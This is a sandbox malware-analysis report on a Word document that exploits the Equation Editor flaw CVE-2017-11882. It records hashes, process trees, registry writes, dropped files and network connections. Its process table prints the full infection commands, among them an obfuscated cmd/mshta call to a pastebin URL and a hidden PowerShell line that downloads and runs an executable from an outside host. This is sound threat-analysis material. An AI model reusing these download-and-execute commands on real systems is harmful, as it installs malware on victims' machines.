| File name: | 06d038309382522dbd13574fddc26793.doc |
| Full analysis: | https://app.any.run/tasks/7aa70431-6796-4b21-ad64-3af43f1d4fda |
| Verdict: | Malicious activity |
| Analysis date: | January 23, 2019, 09:48:17 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/octet-stream |
| File info: | data |
| MD5: | 06D038309382522DBD13574FDDC26793 |
| SHA1: | 6CBA7D9445911D5DFC679AA93B585AEA45973B7E |
| SHA256: | 6583482CE262A237FC248E8E0B9EB52581FAC1865996BE77850615B2BB016DA0 |
| SSDEEP: | 192:6i27jaBAB7Y3xHSVce/QQiAJmzufkPqu3YHMj:t27jb7YBHNvwmK9cj |
MALICIOUS
Executes PowerShell scripts
- mshta.exe (PID: 2360)
Equation Editor starts application (CVE-2017-11882)
- EQNEDT32.EXE (PID: 3260)
Application was dropped or rewritten from another process
- KRQVHK.Exe (PID: 3020)
- KRQVHK.Exe (PID: 2276)
SUSPICIOUS
Creates files in the user directory
- mshta.exe (PID: 2360)
- powershell.exe (PID: 2224)
Starts CMD.EXE for commands execution
- EQNEDT32.EXE (PID: 3260)
Executable content was dropped or overwritten
- powershell.exe (PID: 2224)
Starts MSHTA.EXE for opening HTA or HTMLS files
- cMd.exe (PID: 3944)
Application launched itself
- KRQVHK.Exe (PID: 3020)
INFO
Reads internet explorer settings
- mshta.exe (PID: 2360)
Application was crashed
- EQNEDT32.EXE (PID: 3260)
Creates files in the user directory
- WINWORD.EXE (PID: 2876)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2876)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
40
Monitored processes
7
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2224 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('https://my.mixtape.moe/ishowl.htaa',$env:Temp+'\KRQVHK.Exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\KRQVHK.Exe') | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2276 | C:\Users\admin\AppData\Local\Temp\KRQVHK.Exe" | C:\Users\admin\AppData\Local\Temp\KRQVHK.Exe | — | KRQVHK.Exe | |||||||||||
User: admin Company: WIMPS3 Integrity Level: MEDIUM Exit code: 0 Version: 4.05.0007 Modules
| |||||||||||||||
| 2360 | mSHta https://pastebin.com/raw/H28nZ13U | C:\Windows\system32\mshta.exe | cMd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2876 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\06d038309382522dbd13574fddc26793.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3020 | "C:\Users\admin\AppData\Local\Temp\KRQVHK.Exe" | C:\Users\admin\AppData\Local\Temp\KRQVHK.Exe | — | powershell.exe | |||||||||||
User: admin Company: WIMPS3 Integrity Level: MEDIUM Exit code: 0 Version: 4.05.0007 Modules
| |||||||||||||||
| 3260 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | ||||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
| |||||||||||||||
| 3944 | cMd /C mS^Ht^a ht^tp^s:^/^/pastebin.com/raw/H28nZ13U | C:\Windows\system32\cMd.exe | — | EQNEDT32.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
1 920
Read events
1 435
Write events
475
Delete events
10
Modification events
| (PID) Process: | (2876) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 6,, |
Value: 362C2C003C0B0000010000000000000000000000 | |||
| (PID) Process: | (2876) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2876) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2876) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1312227351 | |||
| (PID) Process: | (2876) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1312227472 | |||
| (PID) Process: | (2876) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1312227473 | |||
| (PID) Process: | (2876) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 3C0B00008E2EF0CD00B3D40100000000 | |||
| (PID) Process: | (2876) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | -., |
Value: 2D2E2C003C0B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2876) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | -., |
Value: 2D2E2C003C0B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2876) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
1
Suspicious files
4
Text files
2
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2876 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRECB6.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2224 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ET3AMC6BP3B51EO7M8FQ.temp | — | |
MD5:— | SHA256:— | |||
| 2876 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{700E7C81-CAB8-4AC3-B180-FB3AFD783222}.tmp | — | |
MD5:— | SHA256:— | |||
| 2876 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{0B4C83C6-5501-47DD-B1AB-326D74EA6C66}.tmp | — | |
MD5:— | SHA256:— | |||
| 2876 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{576A614F-C21C-4EB6-9D46-D72291918A7D}.tmp | — | |
MD5:— | SHA256:— | |||
| 2876 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$d038309382522dbd13574fddc26793.doc | pgc | |
MD5:— | SHA256:— | |||
| 2224 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2360 | mshta.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@pastebin[1].txt | text | |
MD5:— | SHA256:— | |||
| 2360 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\H28nZ13U[1].txt | html | |
MD5:— | SHA256:— | |||
| 2224 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF20f85e.TMP | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
2
DNS requests
2
Threats
3
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2360 | mshta.exe | 104.20.208.21:443 | pastebin.com | Cloudflare Inc | US | shared |
2224 | powershell.exe | 206.81.100.99:443 | my.mixtape.moe | NapaNet | US | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
pastebin.com |
| malicious |
my.mixtape.moe |
| unknown |
Threats
3 ETPRO signatures available at the full report